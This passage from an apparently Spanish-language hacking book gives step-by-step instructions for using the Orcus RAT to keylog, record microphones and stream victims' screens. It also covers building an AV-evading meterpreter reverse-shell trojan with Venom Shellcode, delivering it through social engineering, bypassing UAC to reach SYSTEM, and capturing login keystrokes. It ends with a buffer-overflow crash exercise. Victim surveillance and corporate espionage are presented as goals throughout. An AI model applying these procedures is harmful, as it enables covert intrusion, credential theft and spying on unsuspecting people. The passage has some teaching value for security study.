es la desinstalacin, solo basta con seleccionar el programa que buscamos y realizar la tarea
correspondiente:

Imagen 20.4: Listado de programas en equipo ajeno.

Hasta ahora hemos explorado algunas de las categoras ms funcionales de Orcus y le hemos
sacado provecho al asunto, ahora es momento de pasar a la que ms nos interesa, que es la de
monitoreo o surveillance (vigilancia).

Como es de esperarse en Orcus, tanto las categoras como las funciones de cada una han sido
bastante eficientes y tiles, y obviamente la que estamos por ver no ser la excepcin. Aqu es en
donde entramos de lleno a fase de vigilancia o espionaje, ya que estas acciones lejos de
permitirnos leer conversaciones, encontrar patrones de bsquedas en navegadores web, tomar
capturas de pantalla, etc.
Esto puede llevarse ms lejos llegando a lo que se conoce como espionaje corporativo, en donde
se puede obtener informacin acerca de escritos, descargar informacin importante que incluso
puede estar clasificada, ya que ocurra esto es demasiado comn en el mundo corporativo o
laborar.

Cabe mencionar que esta fase se puede llevar a cabo en distintas formas o rutinas, no
necesariamente como se presentar aqu, ya que si has estas familiarizado con herramientas de
este tipo o algn trabajo similar, podrs adaptarlo al uso con Orcus si as lo prefieres.
Dentro de la Categora Surveillance, nos encontrremos con 4 funciones de monitoreo en
tiempo real:

Live Keylogger.
Microphone Recorder.
Screen.
Webcam.

Cada una de estas nos provee de funciones distintas que resultan bastante tiles para este trabajo,
comencemos por Keylogger. A lo largo del libro COISP nivel 1 se habla sobre estas
herramientas, sin embargo no se toca a detalle su uso mediante RATs o administracin remota,
estos pueden funcionar de forma local dentro de un mismo segmento de red o de forma
distante o remota, que es la manera en la que est por llevarse a cabo.

Estos tienen una sola finalidad, capturar los caracteres presionados y guardarlos para
posteriormente ser vistos o enviar esta informacin en tiempo real como lo veremos aqu. Hay
keyloggers muy simples que solo capturan el texto conseguido por las teclas presionadas, hasta
unos con un nivel de complejidad mayor o demasiado completos que capturan todos los caracteres
obtenidos durante la interaccin con el medio HID (Teclado).

Esto con la finalidad de mostrar detalles que nos pueden ser muy tiles en esta accin de
espionaje, como puede ser el sitio web en donde se tecleo esto, el programa sobre el cual se
teclearon estos caracteres, el campo sobre el cual fue ingresada esta info y muchas cosas ms,
esto se debe a que el cdigo que constituye este tipo de Keyloggers trabaja a un nivel inferior o
ms bajo, por ende, la obtencin de todo lo anterior, una cosa muy ventajosa es que adems de
todas las funciones antes descritas, estos Keyloggers evitan el LAG o retraso durante la captura
y envo de info as evitando la perdida de la misma, y por supuesto Orcus lo trae consigo.

La primer funcin o sub-panel con el que nos toparemos ser el de Live Keylogger, lo
seleccionamos y solo basta con activarlo mediante el ya conocido Switch en la parte superior,
una vez habilitado aparecer la accin en la barra de monitoreo y en el recuadro del Keylogger
la fecha y hora de esta accin, dependiendo de lo que est haciendo el cliente se enviar en
tiempo real las acciones de este, en el ejemplo se capturo lo siguiente informacin solo con abrir
el navegador web de Internet Explorer ingresar al sitio de Gmail para loggearse en este (da igual
que navegador o versin de este se use) y por ultimo abrir un bloc de notas y escribir algo en l.
Consulta las imgenes:

Imagen 20.5: Activacin de Keylogger.


Estando el Live Keylogger habilitado se realizaron las actividades anteriormente descritas, un
detalle que podremos notar en el RAT son las figuras o smbolos de las teclas funcin (las que
no arrojan caracteres) presionadas en el equipo cliente, as como un registro de las aplicaciones
o programas involucrados desde el momento en el que se puso en funcin el Keylogger, un ltimo
detalle acerca de esto es que no importa si la pgina en el navegador web usa una conexin
segura o no, ya que el Keylogger solo captura teclas presionadas, y Orcus lo ofusca para que no
sea detectado por firewalls, del lado de Orcus se obtuvo la siguiente informacin:

Imagen 20.6 y 20.7: Informacin obtenida gracias al Keylogger.

Como se ejemplific, el Keylogger que trae consigo Orcus est muy completo, funciona en una
forma bastante simple en la que podamos obtener considerables cantidades de informacin de
una manera rpida, simple y sigilosa, gestiona la informacin en una forma en la que se pueda
interpretar mejor y funciona de una forma bastante estable, ahora que ya vimos un simple ejemplo
en un ambiente controlado.

Te imaginas lo que puede capturar en escenarios reales en el mundo laboral o durante la infeccin
de una vctima en especfico?
Explorando las dems funciones disponibles en la categora Surveillance, nos encontrremos
con algo bastante llamativo y til, el Voice Recorder (grabador de voz). No hace falta hacer una
descripcin de lo que hace o cul es su finalidad en s, pero lo que ser necesario es explicar sus
2 modos de uso que son con archivo de salida o sin este. Al seleccionarlo aparecern los
Recording Devices (dispositivos de grabacin) disponibles en el equipo cliente, puesto a que el
cliente es virtual habr veces en las que el entorno de virtualizacin (VMware) no har posible la
migracin de recursos (Hardware/Micrfono) hacia l, por ello es posible que aparezca de esta
forma (Microphone HDAD) de lo contrario se mostrar el modelo de este.
Dentro de las opciones de uso nos topamos con Bitrate (velocidad de transmisin), esto definir
la cantidad de espacio fsico que ocupar un segundo de duracin de ese audio, en pocas palabras
es la calidad de audio, la que viene configurada por default es de 8192. De los distintos modos
con los que contamos, queda por default el de Voip (Voice Over Internet Protocol), que es un
protocolo de comunicacin que hace posible que la seal de voz viaje por internet.
En cuanto a los 2 modos de uso, puedes especificar si al final del Recording (Grabacin) quieras
un archivo de salida de la grabacin (Save to file) y guardarlo en un directorio especfico (Path),
hecho esto solo presionas Start Recording y terminas tu trabajo cuando quieras con el botn de
a lado. Si solo quieres escuchar, bastar con presionar Start Recording

Imagen 20.8: Funcin de activacin del micrfono.

La penltima funcin es la de Screen, simple y sencillamente hace un Streaming o transmisin


en tiempo real del Desktop del cliente o vctima, como resultado da un Escritorio Remoto y al
igual que todas las dems funciones, esta viene muy completa a diferencia de otros RATs.

Dentro la funcin y su modo de uso podemos configurar los diferentes monitores a replicar o a
hacer Mirroring, ya que un equipo puede tener 1 o ms monitores conectados, tambin podemos
establecer la calidad en la que queremos recibir el Streaming (mientras ms alta ms uso de
ancho de banda se har), los FPS (Frames per second) que tendremos sobre este Streaming y
un FullScreen si as lo queremos. En el ejemplo siguiente al iniciar se mostrar en la barra de
monitoreo las acciones relevantes a esta funcin, como la recoleccin de Capture Devices
(Monitores), numero disponible de estos (1) y el comienzo de la transmisin o Remote Desktop
del equipo virtual. Consulta las imgenes:
Imagen 20.9 y 30.0: Funcin de monitoreo de escritorio.
EXTRA: Exploiting con Venom
Shellcode Generator.
Previamente habas realizado un ejercicio de cmo generar payloads en Python para poder
comprometer un sistema informtico, en este caso hars binarios (.exe) maliciosos que al
momento de ejecutarse en el equipo objetivo, realizan la inyeccin de cdigo arbitrario en la RAM
del sistema, con la consecuencia de que tal sistema sea comprometido de forma completa o
parcial, en esta ltima es donde se lleva cabo la escalada de privilegios para poder realizar ms
tareas de post-explotacin sobre el equipo. El detalle es que la generacin de RATs (Remote
Access Trojans) con algunas otras herramientas no es tan discreta que con Venom Shellcode, el
cual genera payloads en distintos formatos (Python, C, Ruby, Exe, DLL, BAT, .JAR (Java), PDF,
etc) los cuales llevarn consigo potentes troyanos que resultan bastante perjudiciales para el
equipo vctima.
En la siguiente demostracin ejemplificar como conseguir la explotacin de un sistema con
plataforma Windows, en este caso ser con Win 10, cabe mencionar que los payloads generados
para Windows funcionan para los ms modernos y comunes (Win Vista, 7, 8 y 8.1)

Lo que necesitars para este ataque.

Una Distribucin para pentesting actualizada, recomiendo Parrot 3.1 o 3.2, Kali 2016.1
2016.2, ya que las anteriores puede que no cuenten con las dependencias que usa Venom
Shellcode.
Un equipo Windows en el mismo segmento de red que t maquina atacante, ya sea virtualizado
o fsico, en este ejemplo usar uno virtualizado.
Obtencin de Venom Shellcode.

Al igual que con otras herramientas que he demostrado, Venom Shellcode no viene precargada
en las distros para pentesting ms populares, por lo que habr que descargarla e instalarla por
nuestra cuenta.
Entra a este URL para descargarlo:
https://sourceforge.net/p/crisp-shellcode-generator/shell/ci/master/tarball
Tambin puedes descargarlo mediante el comando git clone, ejecutando: git clone
http://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell

Lo cual realizar la descarga en nuestra mquina atacante, en donde navegaremos al lugar donde
reside su descarga: /root/shell/, dentro se halla otro directorio nombrado aux el cual contiene
el archivo para iniciar la instalacin, (setup.sh), establecemos una configuracion con chmod +x
*.sh y despus ejecutamos el archivo .sh:

Imagen 1.1: Descarga de Venom Shellcode

Al iniciar, realizar la bsqueda y Checking de las dependencias para que funcione, en donde
seguirs los pasos de la instalacin para poder completarla, no toma ms de 5 min.
Una vez ya instalado, navegamos al directorio /root/shell/ y desde ah iniciaremos a Venom
Shellcode, ejecutando el comando ./vemom.sh:

Imagen 1.2: Directorios de Venom Shellcode

Al iniciar se realizar de nuevo el Checking de las dependencias e iniciar el Banner donde se muestra
un listado con varias columnas, indicando que se codificar, el objetivo con el que funciona, con que
se compilar y el formato final del payload:

Imagen 1.3: Listado de Shellcodes por generar

Del listado, seleccionaremos la opcin nmero 6, la que funciona para plataforma Windows,
funciona mediante powershell y ser generada como un .exe
Seguido de esto, estableceremos la configuracion del payload que generar, esto comenzar al
ingresar el nmero correspondiente de la lista:

Imagen 1.4: Ingreso de tipo de Shellcode por generar.


Lo primero que tendr que configurarse ser el Host al que el payload establecer el canal de
comunicacin para interactuar con el equipo comprometido, es decir, LHOST, que es
donde ira la direccin IP de nuestra maquina atacante:

Imagen 1.5: Ingreso de LHOST


Luego tendremos que configurar el puerto que estar a la escucha de dicha conexin, LPORT,
en este ejemplo se usara el 556, t puedes configurar algn otro puerto de tu preferencia.

Imagen 1.6: Seleccin de Puerto

Ahora lo siguiente ser escoger el payload de tipo Staged que ser el que desde la maquina
victima trabajar en conjunto con el Framework de Metasploit en nuestra maquina atacante. El
payload que escogeremos ser windows/meterpreter/reverse_tcp el cual funcionar como un
shell inversa que se nos devolver al momento de la ejecucin del binario malicioso en el quipo
objetivo:
Imagen 1.7: Seleccin de payload

Por ultimo escogeremos el medio por el cual se establecer el enlace de comunicacin al momento
de que el payload se ejecutado, ya sea un handler o un enlace malicioso, en este caso se usar
la primera opcin, el Handler, el cual es un exploit que al momento de usarlo estar a la escucha
de los exploits ejecutados por fuera de Metasploit, es decir, mostrar los stage o conexiones
creadas por estos troyanos o exploits ajenos al framework, en donde este trabajara en conjunto
con el binario malicioso:

Imagen 1.8: Seleccin de mtodo de conexin

Al escogerlo se mostrar la informacin acerca de lo que se ha generado y detalles sobre esto:

Imagen 1.9: Detalles del Shellcode Generado


Asi como tambin se inicializa el framework de Metasploit por consola de comandos,
estableciendo de forma automtica el Handler y el payload de tipo Stager:

Imagen 2.0: Metasploit iniciado automticamente

NOTA: Para esta demostracin no hars uso de Metasploit por este medio, ya que las fallas son
algo comn al momento de enviar exploits, hacer uso de auxiliaries, encoders o shells, en
cambio, lo iniciar por mi cuenta desde una nueva terminal de comandos, simplemente
ejecutando msfconsole:

Imagen 2.1: Inicio de Metasploit por nuestra cuenta.


Estando dentro, haremos uso de un exploit (handler) para que haga la funcin antes descrita,
despus colocaremos un payload de tipo Stager trabajando desde Metasploit, lo que har este
ser establecer una conexin con el payload de tipo Staged que es el que est en el Troyano
que generamos, al momento de que este se ejecute en el equipo vctima, se devolver una shell
inversa a nuestra maquina atacante, ya que ambos payloads estn trabajando en conjunto, puesto
a que es el mismo tipo de payload, solo que uno trae la shell inversa esperando a ser lanzada y
otro establece la conexin con el troyano, asi otorgndonos la shell de Meterpreter para asi poder
interactuar de forma remota con el equipo comprometido. Para configurar esto, haremos uso del
exploit del handler (multi/handler), despus seleccionaremos el payload
(windows/meterpreter/reverse_tcp), e ingresaremos las mismas variables de LHOST y LPORT
que al principio, ya que estos payloads trabajarn de forma sncrona y ejecutamos el comando
exploit, para que el handler y el payload comiencen sus funciones en el Framework:

Imagen 2.2: Configuracion de Handler y Payload en Metasploit

Al terminar eso, solo hace falta llegar el troyano al equipo vctima y conseguir que sea ejecutado,
para esto puede que se requiera algo de ingeniera social. La ubicacin del binario es
/root/shell/output:

Imagen 2.2: Ubicacin de Binario Generado


Ya que sabemos dnde se encuentra solo falta hacerlo llegar a la vctima, ya sea por e-mail, va
multimedia, o algn otro medio.
Antes de continuar, no est dems verificar que tan discreto es el malware que se ingresar al
equipo objetivo, para esto haremos un anlisis en un sitio web que escanea archivos con la
ayuda de 35 software AV para mostrar resultados y compararlos, esto se har desde
https://nodistribute.com/, donde nos mostrar resultados bastante sorprendentes, al arrojarnos
el dato de que solo 2 de 35 software de proteccin notaron algo sospechoso en su cdigo,
esto quiere decir que resulta perjudicial o amenazante para solo el 6% del software que contiene
la plataforma de escaneo, lo que para nosotros es bastante ventajoso:

Imagen 2.4: Resultados de No Distribute.

Ahora que sabemos que puede hacer bypass o evasin de ms de 30 AVs destinos, podemos
hacerlo llegar al equipo objetivo y conseguir que sea ejecutado:

Imagen 2.5: Binario Transferido

Una vez que se consiga esto, en Metasploit aparecer el envi de peticin hacia la direccin
donde se ejecuta el troyano, devolvindonos asi la shell inversa antes configurada y obteniendo
la sesion de Meterpreter, lista para ejecutar comandos sobre el equipo ajeno:

Imagen 2.6: Sesion Meterpreter conseguida


Una vez dentro podremos ejecutar mltiples comandos para obtener informacin diversa acerca
del equipo, por ejemplo con los comandos sysinfo y getuid podremos saber detalles acerca
del sistema en donde estamos (intrusin) y el otro para saber el nombre del usuario:

Imagen 2.7: Detalles acerca de Sistema vulnerado y Tipo de Usuario.

Ahora que sabemos el User ID, podemos notar que no tenemos carcter administrativo sobre este
sistema, asi que haremos una escalada de privilegios para conseguir esta, la cual tambin se
demostr en previos post que h realizado, haciendo bypass del UAC mediante algo de Powershell.
Antes de hacer esto haremos una migracin a un proceso que este corriendo actualmente, esto
con el fin de que no se pierda la conexin en caso de que la persona borre o cierre el binario
malicioso. Despus haremos un background de la sesin para tenerla trabajando en segundo
plano y asi volver a msfconsole, desde donde haremos uso del exploit para hacer bypass de UAC,
colocando en este la sesion en la que nos encontramos (1) y la tcnica de inyeccin de cdigo:
PSH (Powershell), al lanzarlo se deshabilitar el UAC y abrir una sesion de meterpreter nueva:

Imagen 2.8: Migracin de procesos y Bypass de UAC con Powershell

En esta nueva sesion ejecutaremos de nuevo el comando ps para en listar los procesos y
migraremos a alguno que tenga la caracterstica NT AUTHORITY\SYSTEM:
Imagen 2.9: Migracin a un proceso de carcter administrativo.

Una vez hecho esto, ejecutamos el comando getprivs para enlistar os privilegios con los que
contamos actualmente en este sistema, en donde se enlistaran 22 privilegios, si ejecutamos de
nuevo el comando getuid aparecer la etiqueta NT AUTHORITY\SYSTEM, y si tambin
ejecutamos el comando getsystem aparecer que se obtuvo previamente mediante la tcnica
que se describe seguido a la derecha:

Imagen 3.0: Privilegios conseguidos


Ahora, como ya se sabe, tenemos 2 sesiones meterpreter abiertas, para ver el listado de estas y
sus detalles, se hace un background de la sesion actual y en msfconsole ejecutamos sessions -
l, donde vemos que una sesion contiene privilegios de usuario local y otra con privilegios
administrativos, que es la que usaremos, para volver a la sesion, se ejecuta el comando sessions
i #nmero de sesion que quieres:

Imagen 3.1: Listado de Sesiones Meterpreter

Ahora, haremos una tarea de post-explotacin, haciendo uso de un keysniffer para capturar
teclas presionadas en este equipo comprometido, usando el comando keyscan_start para iniciar
este sniffer, una vez que queramos hacer el volcado de la informacin que captur ejecutamos el
comando keyscan_dump. Seguido de eso, dentro de un Doc. De Word nombrado Testing
Shellcode, se ejemplificar un escrito para demostrar el uso del Keylogger:

Imagen 3.2 y 3.3: Inicio de Keysniffer y creacin de Doc.


Imagen 3.4y 3.5: Escrito hecho y volcado de informacin.

Ahora lo intentaremos con el formulario de Loggeo en una Pgina Web, no importa si usa una
conexin segura o no, ya que el sniffer solo captura teclas presionadas, ya que Metasploit lo
ofusca para que no sea detectado por firewalls en equipos o sitios web, como es el caso de
Instagram, en donde ingresars un usuario y password ficticios, teniendo corriendo al
keylogger/sniffer en Metasploit:

Imagen 3.6: Usuario y password ingresado en Instagram.

Por otro lado, en Metasploit, haremos el volcado de la informacin capturada por el keysniffer:

Imagen 3.7: Volcado de info capturada por keysniffer.


Cmo funcion esto con Venom Shellcode?
Este script utiliza msfvenom (Metasploit) para generar cdigo shell en diferentes formatos (c,
Python, Ruby, DLL, PSH | vbs, php, Java) luego inyecta el Shellcode genera en el archivo de
salida que corresponda, en este caso fue un binario ejecutable, el cdigo malicioso se ejecutar
en la RAM, asi como tambin se inyecta un payload que trabajar en conjunto con Metasploit para
establecer una conexin entre el payload que reside en el equipo vctima y el payload que est en
el framework de Metasploit.
Despus evadimos el UAC mediante el uso de PSH y luego logramos la obtencin de informacin
sensible gracias a las tareas de post-explotacin.
Exploit Development (Desarrollo
de exploits).
En el captulo anterior nos familiarizamos bastante con el uso de RATs para poder
monitorear/controlar algn equipo Windows de forma remota, sin importar el lugar de conexin del
objetivo, as como tambin pasamos por una breve descripcin del source-code que lo constituye.
Ahora, subiendo un escaln ms y aumentando el nivel de dificultad, te ensuciars las manos
con algo de desarrollo (developing), programando las aproximaciones hacia objetivos que cuentan
con una o varias vulnerabilidades en especfico.
La formulacin de exploits (o Exploit developing) es el proceso que consiste en la creacin
de exploits, a lo largo de este tercer captulo te encontrars con mltiples vulnerabilidades y hars
el developing de los mtodos de aproximacin para estas en Metasploit y finalmente
conseguirs explotarlas. Para esto, tendrs que hacer uso de una diversa gama de herramientas
que te servirn de apoyo para lo anterior.
Todo esto tiene una finalidad, aprovecharnos de errores de seguridad (security flaws) o
vulnerabilidades que existen en algn recurso informtico, puesto a que existen miles de exploits,
cada uno tiene su finalidad o propsito como lo puede ser el causar un overflow, hacer un bypass,
realizar una inyeccin de cdigo o hasta comprometer un sistema en su totalidad.

Al finalizar este captulo habrs aprendido lo siguiente:

Como el lenguaje ensamblador se involucra en la creacin de exploits.


Parmetros a considerar durante el desarrollo.
Fases de la formulacin de un exploit.
Creacin de exploits dentro del Framework de Metasploit.

NOTA: Para que puedas tener una comprensin total de que es lo que viene ms adelante en este
captulo debes contar con conocimientos bsicos del lenguaje ensamblador, de lo contrario puede
que se te topes con algunas complicaciones, as que veremos unos aspectos bsicos sobre este
y cul es la importancia que tiene en el desarrollo de exploits.

En el libro COISP 1 podrs encontrar informacin ms a detalle sobre lenguaje ensamblador en el


captulo de Cracking.
Aspectos bsicos.
Es importante cubrir algunos conceptos necesarios para poder comprender mejor la creacin de
exploits y en que consiste, los siguientes conceptos se aproximan al tema de en la formulacin de
exploits en aspectos de seguridad relacionados con Hardware y Software:

Register (Registro): es un rea del procesador que se utiliza para almacenar informacin,
cada proceso que se ejecuta en el procesador es en base al registro, un ejemplo de ello
fue en el captulo anterior indicando esta funcin en el RAT.

Debugger: Es un software que depura otro programa en tiempo de ejecucin para


esto puede tener distintas finalidades, como entender a detalle su funcionamiento,
encontrar los diferentes problemas que un programa puede enfrentar durante su ejecucin
o para analizar una muestra de malware como se ver en un par de captulos ms.
Bsicamente su utilidad es mostrar las instrucciones del programa, el estado de los
registros y la memoria. Los debuggers ms utilizados son: Immunity Debugger, GDB y
OllyDbg.

ShellCode: Es el cdigo que se ejecuta despus de la explotacin exitosa del objetivo es


llamado ShellCode, Habr veces que la finalidad de la explotacin ser la obtencin de
esto.

Llamadas de sistema (System Calls): Estas son llevadas a cabo un mtodo de nivel de
sistema invocado por un programa en ejecucin.

x86: Esta es una familia de arquitecturas de que se principalmente son encontradas en


sistemas de Intel, se refieren a los sistemas de 32-bits mientras que los x64 a los de 64-
bits.

Buffer: Es un soporte de memoria fijo en un programa, y generalmente almacena


datos o informacin en una pila dependiendo del tipo de memoria que contenga.

Buffer Overflow: Esto generalmente significa que hay ms datos suministrados en la pila
o en el buffer que los que este puede contener, si esto desborda, puede ocasionar el
Crash de un programa o simplemente un DoS.
Registros.
Estos son los encargados de llevar a cabo casi todas las funciones en el sistema, ya que contienen
todas las instrucciones a ser procesadas. Comnmente hacemos referencia alguno de ellos por el
tamao de memoria que pueden contener (Holding 8 to 32-bits), los registros son componentes
de memoria muy veloces, algunos tipos de estos son los de tipo Index, de propsito general, de
segmento y EFLAGS, veamos algunos de ellos:

ECX: Este es utilizado para hacer ciclos, funciona como un contador.


EDX: Funciona como u registro de datos,
EAX: Este es un acumulador, su finalidad es almacenar datos y operadores.
EIP: Es un apuntador de instrucciones, este guarda la direccin en donde se ejecutar
la prxima instruccin.
ESP: Funciona como un apuntador de pila (stack).

El siguiente ejercicio har nfasis en los ltimos 2 registros, estos son los que trabajan
directamente con pilas, y apuntadores de instrucciones, sabiendo esto vamos a crear 2
programas; uno que ser la aplicacin vulnerable, y otro que se aproveche del cdigo de esta y
haga cambios con los registros.

Qu significa esto?

Comprendido lo anterior, podemos explotar un recurso informtico sobrescribiendo el valor del


stack en el registro ESP, y sobrescribir el valor de la direccin de instrucciones en el registro EIP.
Todos los registros anteriores tienen un tope mximo de memoria de 32-bits.

Nuestra primera aproximacin: Buffer Overflow.


Como fue mencionado anteriormente, este consiste en el desbordamiento de datos que contiene
una pila, generalmente llevando al Crashing de la aplicacin o servicio, alguna vez habrs lanzado
exploits que tengan la finalidad anterior, sin embargo, Te has preguntado cmo es que hacen
su trabajo?

Bien, aqu tendrs tu primera aproximacin en el tema de cmo es que se formula un exploit de
este tipo, asemejndonos al funcionamiento de uno de ellos. Lo que hars en este primer ejercicio
ser compilar un programa y en base al cdigo proporcionado para este, explotar el fallo o
vulnerabilidad que se halla dentro.

Haremos nfasis en hacer Crashear una Aplicacin y saber sobre que circunstancias ocurre esto,
con la finalidad de poder saber comprender y analizar las modificaciones que se tienen que realizar
para conseguir lo anterior.
Como previamente se coment acerca de los registros, EIP y ESP pueden resultar afectados
cuando se les proporciona a estos una cantidad de datos lo suficientemente grande para poder
ocasionarles un overflow, as que lo que se har ser compilar un programa que usar buffers y
le ocasionaremos un Crash. Pero antes cubrirs algunos conceptos importantes para que
entiendas cul es su lugar en los programas y como es que se involucran en una vulnerabilidad
de este tipo.

Lo que necesitars:

Windows 10
Parrot Security OS

Teniendo esto, usars un bloque de cdigo llamado bof-server, se te proporcion en el material


para este libro, este se encuentra en el folder correspondiente a este captulo.

El programa al que nos referimos est hecho en C, lo vers en la sintaxis en un momento, ahora
lo que hars con este cdigo ser compilarlo, para esto usaremos un compilador de C, en este
caso ser LCC Compiler que tambin viene incluido en el material correspondiente a este captulo,
aunque tambin puedes descargarlo por aqu: https://lcc-win32.en.uptodown.com/windows

Antes de continuar habr que hacer una pequea configuracin en el equipo Windows, siendo
esta la habilitacin del cliente Telnet. Esta funcin nos permitir interaccin local remota entre
Windows y Parrot, lo que la lleva ser la interprete para explotar la vulnerabilidad del cdigo.

Para esto solo basta con seguir los pasos siguientes:

Hacer clic derecho en Windows, seleccionar la opcin Programas y caractersticas


Con esto ingresaremos al panel de control, en la parte superior izquierda veremos la opcin
Activar o desactivar caractersticas de Windows.
Aqu colocamos un check a Cliente Telnet y hacemos clic en Aceptar:

Imagen 30.1: Habilitacin de cliente Telnet.

Teniendo esto configurado y haber hecho la instalacin de LCC Compiler lo abriremos. Hecho
esto, buscamos el archivo que contiene el cdigo en C, esto desde el men desplegable File y
seleccionado la opcin Open.
Una vez localizado lo abrimos y veremos una ventana con el cdigo siguiente:

Imagen 30.2: Cdigo visualizado por LCC Compiler.

Puedes sentirte libre de leer o inspeccionar el cdigo de este programa si as lo quieres. LCC
Compiler pide la creacin de un proyecto por cada file que se quiera compilar, por lo que habr
que hacer esto, para conseguirlo ms rpido, basta con seleccionar la opcin Compile que
aparecer antes del nombre del File actual, al finalizar aparecer un mensaje indicando el tiempo
que tom, todo esto se hace desde el men Compiler:

Imagen 30.3 30.5: Cdigo compilado y directorio de aplicacin.

Ahora que finaliz la compilacin y ya teniendo el programa, pasaremos a probarlo nosotros


mismos, sin involucrar el uso de dems software para conseguir el error interno de la aplicacin.
Dentro de CMD, ejecutamos el siguiente comando:

C:\ (lugar donde resida tu archivo .exe)> bof-server.exe Puerto preferencial

Lo que esto har ser hacer una llamada al programa y establecer algn puerto que usar el
programa para funcionar, este puede ser de nuestra preferencia, en este caso se us el 200.
Luego de la ejecucin de este primer comando haremos una segunda, ahora usando a la funcin
Telnet para poder conectarse al puerto escogido, para ello basta con ejecutar en una nueva
terminal este comando con la siguiente sintaxis.

telnet localhost (puerto escogido)


Hecho esto obtendremos lo siguiente:

1) Lo primero es poner en funcin el binario en el puerto asignado.


2) Hecho esto, en otra terminal conectamos con el puerto asignado mediante Telnet.
3) Al conseguir eso, veremos en la primera terminal un banner que indica la conexin.
4) Volvemos a la segunda terminal y tendremos una Shell para ingresar datos.

Imagen 30.6 30.9: Proceso de conexin por Telnet a la Aplicacin.

Dentro de esta Shell de Telnet, pondremos en funcin la finalidad del programa y de los registros
EIP y ESP, que son el almacenar datos en una pila y el otro apuntar direcciones de
instrucciones. Sabiendo esto ingresaremos caracteres aleatorios en el input en 3 intentos.
Durante los 2 primeros no ha pasado nada, en cambio, en el tercer intento ingresaremos los
suficientes caracteres con el fin de conseguir el cierre de la aplicacin, gracias al Buffer-overflow
que ocasionamos. Como se puede ver, un mensaje de error fue generado por Windows, en
donde indica que la aplicacin tuvo un fallo durante su funcionamiento.
Imagen 31.0: Desbordamiento conseguido.

Hasta ahora hemos sobrescrito los valores del registro ESP que es el que trabaja con el stack
(pila), consiguiendo as el Crashing de la aplicacin y por ende su cierre total.

Pero esto lo hemos hecho sobre la misma aplicacin, as que es momento de hacerlo de forma
remota desde otra mquina que se halle en el mismo segmento de red que la mquina atacante,
la cual ser la que contenga la distro de Parrot Security OS.

Aqu es donde crearemos un file con Perl el cual contendr un nmero especfico de caracteres
aleatorios.
Estando en Parrot abriremos una terminal y ejecutamos el siguiente comando:

perl -e print LOL x 300 , HM x 300 > crash.txt : Este crear un script que imprima
los caracteres LOL y HM 300 veces cada uno:

Imagen 31.1: Cdigo en Pearl para desbordar la pila.


Teniendo en cuenta que la aplicacin tuvo un fallo al ingresar alrededor de 300 caracteres
en una sola instancia.

La diferencia que hars con esto es que te has deshecho de la parte manual de hacerlo todo en
la propia maquina Windows en donde corre la aplicacin, ahora solo bastar con que hagas una
conexin Telnet desde Parrot mientras la aplicacin est en funcin en el Host Windows, para esto
volvers a ejecutar el primer comando de la lista (bof-server.exe 200).

Luego de que se haya puesto el programa a trabajar sobre este puerto o el que se haya
seleccionado, pasars a ejecutar el siguiente comando en Parrot:

telnet Direccin IP del Host que contenga la Aplicacin Puerto <Crash.txt

Imagen 31.2 y 31.3: Overflow conseguido desde Parrot.

Al momento de que se haya llevado a cabo la ejecucin, inmediatamente aparecer un banner en


la terminal de Parrot indicando la conexin exitosa y otro indicando que esta conexin fue
cerrada por el host remoto (Windows).

Pasando al lado de Windows, nos encontraremos con el mismo error de fallo en la aplicacin,
el que se ocasiono debido a la sobre escritura de valores en el registro ESP, gracias a que t
hiciste un Buffer-overflow en el. Adems, se puede ver los diferentes registros de conexin y
desconexin de Telnet, debido al Overflow ocasionado un par de veces por este mtodo, otra forma
en que se puede manifestar la desconexin es que en la terminal aparezca un banner indicando
la finalizacin anormal del programa:

Imagen 31.4 y 31.5: Verificacin del Crash del programa.


De forma clara y concisa se vio como es que se puede ocasionar un desbordamiento de pila
(Overflow/ Stack-overflow) mediante la sobre escritura de los valores que existen en un registro,
siendo este el ESP (Stack Pointer), y despus perjudicando al registro EIP (Instruction Pointer)
en donde se ubica la direccin de instrucciones donde se hall el Crash. Siendo esta la direccin
en la aplicacin que no supo cmo y hacia donde proceder, terminando en el cierre del programa.
Con esto podemos llevar las cosas un poco ms lejos y adentrarnos ms en terreno de Lenguaje
ensamblador y Debuggers para desarrollar un bloque de cdigo ms completo que tambin nos
permita conseguir la explotacin en de un programa.

La segunda aproximacin: Buffer Overflow mediante Python y uso de Immunity


Debugger.
En el ejercicio anterior se demostr y ejemplifico una vulnerabilidad de tipo BOF (Buffer-overflow)
en donde creamos un programa vulnerable en C el cual solo aceptaba la entrada de caracteres,
sin embargo, el fallo estuvo en que si se rebasaba el tope o la cantidad mxima de datos que
poda contener la pila, a esta le ocurra un desbordamiento.

Utilizamos 2 formas distintas para explotar esto y conseguir el fallo de la aplicacin, una era
interactuar directamente con el programa y simplemente ingresar caracteres de ms dentro de l,
y la otra era que desde Parrot se hiciese el envo de un script en Perl que imprima 600 caracteres
al momento de ejecutarse, consiguiendo as el Crash de la aplicacin de forma remota,
aproximndonos cada vez ms a la formulacin de un exploit. Ahora en esta nueva prueba,
trabajars con una Aplicacin autntica la cual cuenta con una vulnerabilidad de este tipo, solo
que un poco ms compleja de explotar. Una vez que consigas el primer medio de explotacin,
pasars a utilizar un Debugger (Depurador) sobre la aplicacin, esto tiene como final el que
comprendas ms a detalle este fallo, utilizando como interprete o depurador a Immunity
Debugger, entendiendo as las instrucciones involucradas y registros afectados por esta
vulnerabilidad y su explotacin.

Como ya se sabe, esto tambin se consigue mediante la ejecucin remota de cdigo, ahora
utilizaremos a Python para hacer el compilar el cdigo que consiga afectar la aplicacin, una vez
que consigas esto y hayas utilizado el Debugger para interpretar de mejor forma este Crashing del
programa, hars uso de una librera en Python para la escritura de exploits. Dentro del
repertorio de material correspondiente a este captulo, encontrars una carpeta nombrada BOF
No. 2, dentro viene lo necesario para poder completar este ejercicio:
Antes de comenzar habr que instalar un par de cosas para poder completar esta prueba, realiza
estas instalaciones dentro de tu equipo Windows en el siguiente orden:

1) Python- 2.7.13: Es el lenguaje que usaremos y sobre el que vamos a compilar el exploit.

Imagen 31.6: Instalacin de Python.

2) Immunity Debugger 1.85: Este es el software depurador que se usar en esta prueba,
requiere la instalacin de Python.

Imagen 31.7: Instalacin de Immunity Debugger.

3) Mini-streamRM-MP3Converter: Este es el programa sobre el que trabajars, este cuenta


con o contiene el fallo de seguridad tipo BOF del cual te aprovechars. Cuenta con un
periodo trial de 30 das, suficiente para que realices el ejercicio y las pruebas que quieras:

Imagen 31.8: Instalacin de software vulnerable.

Una vez que est listo lo anterior, abriremos el IDLE de Python (GUI) para comenzar nuestra
aproximacin, una vez dentro del IDLE abriremos un nuevo archivo desde el men File, en la
